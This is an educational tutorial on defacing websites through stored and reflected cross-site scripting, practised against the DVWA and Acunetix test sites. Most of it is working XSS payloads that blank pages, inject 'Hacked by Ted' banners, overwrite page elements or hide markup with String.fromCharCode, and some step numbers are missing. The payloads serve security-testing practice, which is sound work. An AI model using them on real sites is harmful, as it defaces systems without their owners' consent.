Website Defacement Using Stored XSS
Website Defacement Using Stored XSS
Use the techniques detailed in this tutorial to attempt to deface websites using stored (or persistent)
cross-site scripting. Why would you want to deface a website? If someone has hired you to test the
security of their website or application, defacement is a strong way to make your point.
This is not meant to be an exhaustive guide on website defacement. However, in this series of tutorials, I
am going to illustrate some basic payloads and show how they work. These are just a few examples. As I
discover new techniques and payloads, I will update this list.
The attacks I’m illustrating in this guide are made against the intentionally vulnerable Damn Vulnerable
Web App (DVWA) (low security) and the Acunetix Test Site. These sites were created specifically for
security testing practice. However, you can practice these attacks against any intentionally vulnerable
test site. Please note that some payloads will not work in every application.
If you need help installing DVWA in Kali Linux, check out this tutorial. DVWA also comes preinstalled in
Metasploitable 2.
Do not attempt these or any other attacks on any site or application that you do not have explicit
permission to test. This guide was created for educational purposes only. I assume no responsibility for
your actions.
Feel free to share this information. These attacks are not my original creations. I am merely presenting
this information in a manner that may help beginners understand how specific payloads work.
Please let me know if you find errors in this or any of my other tutorials. You can contact me on Twitter.
2. Enter a name in the Name field and an HTML background color code in the Message field and click
Sign Guestbook: <body style="background-color:blue;">
Note: The Message field is set for a maximum length of 50 characters. This payload fits, but you’ll
need to modify the maximum length for longer payloads using your browser’s Developer Tools. I use
the Web Developer browser plugin.
This change is for this page only. Other pages in the site are not affected.
2. Enter a name in the Name field and the following code in the Message field and click Sign
Guestbook:
<style>
div {
background-image: url('http://www.deepeddy.net/img/deepeddyfish.gif');
}
</style>
3. Notice that the image displays throughout the web page background.
2. Enter a name in the Name field and the following code in the Message field and click Sign
Guestbook:
<script>document.documentElement.innerHTML=""</script>
3. Notice that the page is now blank, yet the URL remains.
4. View the page source, and you’ll see that the source code is still there. However, right-clicking in the
white field and choosing Inspect Element shows that the source code is gone.
2. Enter a name in the Name field and the following code in the Message field and click Sign
Guestbook:
Alternate scripts:
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div
style=visibility:visible;><h1>HACKED BY TED</h1></div>";</script>
<script>document.body.innerHTML="<h1>Hacked by Ted</h1>";</script>
4. This can also be performed in the URL but only with reflected XSS, at least in DVWA. Other
vulnerable sites may allow it if they reflect user input in the URL. Example:
Replace:
http://10.0.0.21/dvwa/vulnerabilities/xss_r/?name=Ted#
With:
http://10.0.0.21/dvwa/vulnerabilities/xss_r/?name=
<script>document.documentElement.innerHTML="<html><h1>Hacked by Ted</h1>What do you
think of me now?</html>"</script>
1. Visit https://charcode98.neocities.org/
2. Enter this code into the field in the bottom left and click charCodeAt():
<h1>Hacked by Ted</h1>
The following set of numbers displays in the field in the bottom right.
3. Copy those numbers into a text file and enter commas after all but the last number:
60, 104, 116, 109, 108, 62, 60, 104, 49, 62, 72, 97, 99, 107, 101, 100, 32, 98, 121, 32, 84, 101, 100,
60, 47, 104, 49, 62, 60, 47, 104, 116, 109, 108, 62
4. Copy these numbers and paste them into the following string:
<script>document.documentElement.innerHTML=(String.fromCharCode(CharCode string goes
here));</script>
Note: You could conceivably convert an entire spoofed web page to CharCode and inject it into a
site via stored XSS…if the site’s web server can handle it!
1. Visit http://testphp.vulnweb.com.
2. Right-click on any element, such as welcome to our page, and choose Inspect Element.
You are going to use this tag to exploit the XSS vulnerability.
<script>
document.getElementById("pageName").innerHTML = "Stay away from our page!<p><h4>You are
where you do not belong.</h4></p>";
</script>
7. Right-click on the Vulnerability: Stored Cross Site Scripting (XSS) heading and choose Inspect
Element.
9. Enter a name in the Name field and the following code in the Message field and click Sign
Guestbook:
<script>
document.getElementById("main_body").innerHTML = "<h1>Hacking is not a crime!</h1>";
</script>